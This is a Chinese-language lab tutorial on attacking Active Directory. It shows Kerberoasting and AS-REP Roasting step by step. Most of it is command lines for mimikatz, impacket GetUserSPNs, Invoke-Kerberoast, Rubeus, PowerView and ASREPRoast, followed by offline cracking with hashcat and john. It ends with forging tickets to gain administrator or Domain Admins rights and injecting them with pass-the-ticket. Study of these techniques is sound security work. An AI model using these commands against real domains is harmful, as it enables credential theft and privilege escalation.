AD域渗透 | Roast攻击

567 阅读5分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

了解过Kerberos协议的师傅都知道,域环境下存在两种票据,两种加密数据。票据是TGT和服务票据(Server Ticket)加密数据是AS_REP中使用发起用户hash加密的sessions,以及PAC。

这两种票据之一的ST使用提供服务账号散列加密,进而当我们拿到这张ST的时候我们可以尝试暴力破解这张ST的密码,从而引发了今天我们将要讨论的Kerberoast.

然后AS_REP Roast则是破解那个Client info(用户hash加密的sessions)

原理及利用思路

AS_REP Roasting是抓取As返回包中的Client info内容然后进行暴力破解,从而取得请求账号的密码散列(NTLM)

kerberoast则是抓取ST然后暴力破解,从而获得提供相应服务的账号的密码散列,然后伪造ST进行类白银票据攻击。

环境搭建

环境借用魔改版的红日团队的vulnstack2

域内没有用户运行的服务所以创建一个服务当靶子

注意用管理员身份运行cmd,我这里实在DC上运行的服务,运行用户是de1ay

setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 de1ay

然后由于需要破解用户密码,我把它重置成了弱口令方法见下

1.在2012R2环境下单击”服务器管理器“,再单击”工具“,然后点击”Active Directory 用户和计算机

2.点击”查看“,然后点击”高级功能“

3.然后在控制台树中选择“用户”

4.再详细信息中,单击具体用户,然后右键,重置密码

来自官方文档AD 林恢复-正在重置 krbtgt 密码 | Microsoft Docs

攻击操作

Kerberoast

条件

1.拥有一个域用户的帐号密码,因为需要获取TGT,获取TGT

2.可以查询服务spn,需要发送ST请求,获取ST

3.拥有本地管理员权限,需要导出ST

原理

所有用户都可以请求自己的TGT,然后凭借TGT请求ST,请求ST环节不会验证PAC用户权限,因此用户可以获得任何服务的ST,然后通过导出ST进行离线的破解

操作

获取ST

0.获取服务的SPN

setspn -q */*

image-20220417160908567.png

1.使用powershell自带模块请求ST

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/myhost.redmond.microsoft.com:1433“

不知道为啥,msf的shell调用powershell会卡死,很疑惑,我在目标机器上执行的命令

image-20220417161004461.png

2.使用mimikatz请求服务票据

kerberos::ask /target:MSSQLSvc/myhost.redmond.microsoft.com:1433

image-20220417195744738.png

3.也可以使用impacket工具包中的GetUserSPNs

./GetUserSPNs.py -request MSSQLSvc/myhost.redmond.microsoft.com:1433

我通过代理链使用工具失败了,DC拒绝了访问,可能必需要在域成员机器上执行吧。

提取ST

1.可以使用mimikatz来进行票据提取,建议就用这个就行

kerberos::list /export

image-20220417195256173.png

2.在MSF里用mimikatz,不过叫kiwi

load kiwi

kiwi_cmd kerberos::list /export

3.用经典empire自带的ps脚本Invoke-Kerberoast.ps1

Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -outputFormat Hashcat

之后想办法把他弄到你的攻击机上。注意前两个导出是kirbi格式,后一个是hashcat格式的raw需要复制粘贴。(有一说一,我觉得复制粘贴要比保存为文件好得多),但是ps脚本落地真的是个麻烦事。(mimikatz没好到哪去)

破解ST

1.保存为kirib格式的可以使用kerberoast工具中的脚本进行爆破

python3.9 tgsrepcrack.py password.lit mssql.kirbi

image-20220417202214242.png

因为自己定的密码,没必要跑大字典,也就没测试这个工具的速度怎么样,反正我这个一百行的小字典是点了就完事了

2.hashcat格式的就用hashcat破解

hashcat64.exe -m  13100  hash.txt  pass.txt
导入ST

如果你的目的只是拿到账号密码的在上一步就可以停止了,但是由于我们拿到了serverhash,所以我们可以假冒任何用户权限访问服务,因此假如服务允许我们是可以实现提权的。

重写用户id权限
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500  

重写用户组权限
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512  

注入内存

kerberos::ptt sql.kirbi

AS_REP Roasting

条件

域环境关闭预验证

原理

关闭预验证导致任何用户可以伪造关闭预验证的用户发送AS_REQ请求,然后从AS发挥的AS_REP中enc-part下的cipher部分获取Client info(用户hash加密的sessions),然后通过爆破获取用户明文密码

操作

0.首先探测一下域内有没有用户开启无预验证

使用搬了三次家的powerview.ps1地址见文末,顺便一提这个脚本已经被win dender列到关键词检索里了,笔记里出现powerview这个字段都会报毒

image-20220418112048753.png

 Import-Module .\powerview.ps1
 Get-DomainUser -PreauthNotRequired

1.使用ps脚本

使用harmj0y的asreproasting

Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName de1ay -Domain de1ay.com -Server 10.10.10.10(指定域控地址,不指定多半会出错)

同时,由于powershell下可能复制粘贴会有困难,可以选择用管道符输出到文件里

Get-ASREPHash -UserName de1ay -Domain de1ay.com -Server 10.10.10.10 | Out-File -Encoding ASCII hash

image-20220418152143074.png

2.使用rebeus由于我很菜,不会c sharp

在网上找了一个中文的教程贴上来了,感谢大佬shuteer_xu内网渗透(三) | AS-REP Roasting攻击_Ms08067安全实验室的博客-CSDN博客

Rubeus.exe asreproast > hash

3.爆破密码,建议使用john,hashcat对硬件要求还挺高的,我在虚拟机里跑甚至跑不开

john hash -wordlist=wordlist

image-20220418153808433.png

工具

EmpireProject/Empire: Empire is a PowerShell and Python post-exploitation agent. (github.com)

nidem/kerberoast (github.com)

GhostPack/Rubeus: Trying to tame the three-headed dog. (github.com)

PowerSploit/Recon at master · PowerShellMafia/PowerSploit (github.com)

HarmJ0y/ASREPRoast: Project that retrieves crackable hashes from KRB5 AS-REP responses for users without kerberoast preauthentication enabled. (github.com)

感谢

技术讨论 | 一次详细的Kerberoast攻击演示 - FreeBuf网络安全行业门户